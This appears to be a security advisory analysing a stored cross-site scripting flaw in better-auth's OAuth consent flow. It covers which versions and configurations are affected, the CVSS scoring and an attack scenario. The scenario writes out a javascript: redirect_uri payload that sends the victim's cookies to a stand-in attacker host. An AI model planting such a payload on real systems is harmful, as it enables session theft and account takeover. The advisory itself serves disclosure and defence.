better-auth CVE-2026-67333

Exploitation requires all three of the following conditions to hold simultaneously: (1) the application has the oidc-provider plugin or mcp plugin enabled - not the newer @better-auth/oauth-provider; (2) the better-auth version is 1.6.12 or earlier on the stable line, or 1.7.0-beta.0 through 1.7.0-beta.3 on the pre-release line; and (3) the consent page is a client-side browser component that reads the redirectURI field from authClient.oauth2.consent() and assigns it directly to a navigation target such as window.location.href, location.assign(), or location.replace(). In the default configuration (allowDynamicClientRegistration: false), the attacker must also hold at least a low-privileged authenticated account to register the malicious client. If allowDynamicClientRegistration is set to true (non-default opt-in), client registration is unauthenticated and any visitor can plant the malicious client. Exploitation is not possible when: the consent flow uses a server-side redirect; the consent page implementation matches the project's consent-buttons.tsx demo (which reads a uri field the plugin never returns); or the application uses @better-auth/oauth-provider.

The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:L/UI:P/SC:L/SI:L) places this at 5.1 - moderate - driven primarily by the required user interaction (victim must visit the consent page) and the low subsequent-system impact metrics. The PR:L metric reflects the default configuration where client registration requires authentication; however, the advisory confirms that if allowDynamicClientRegistration is set to true (a non-default opt-in), client registration becomes unauthenticated, effectively lowering the privilege bar to PR:N and meaningfully raising real-world risk for those deployments. The impact is a stored XSS in the authorization-server origin, which is high-value: that origin holds session tokens and consent state. No EPSS score, KEV listing, or confirmed POC was provided in the source data, so exploitation probability cannot be quantified beyond the CVSS signal. The combination of stored persistence, account-takeover potential, and the non-default configuration that enables unauthenticated planting means that affected deployments - particularly those exposing the consent page to end users with dynamic registration enabled - should treat this as a higher practical priority than the moderate base score alone suggests. Deployments using server-side redirects, @better-auth/oauth-provider, or the project's sample consent-buttons.tsx are not affected, substantially reducing the real-world population at risk.

An attacker registers an OAuth client - either unauthenticated if allowDynamicClientRegistration is true, or as a low-privileged authenticated user - supplying javascript:fetch('https://attacker.example/steal?c='+document.cookie) as the redirect_uri value. When a victim user initiates an authorization flow involving that client and reaches the consent page, the page's client-side code reads the redirectURI from the authClient.oauth2.consent() response and assigns it to window.location.href, immediately executing the attacker's payload in the authorization-server origin. The script exfiltrates the victim's session cookies or tokens to the attacker's server, enabling full account takeover without any further interaction. No public POC has been identified at time of analysis.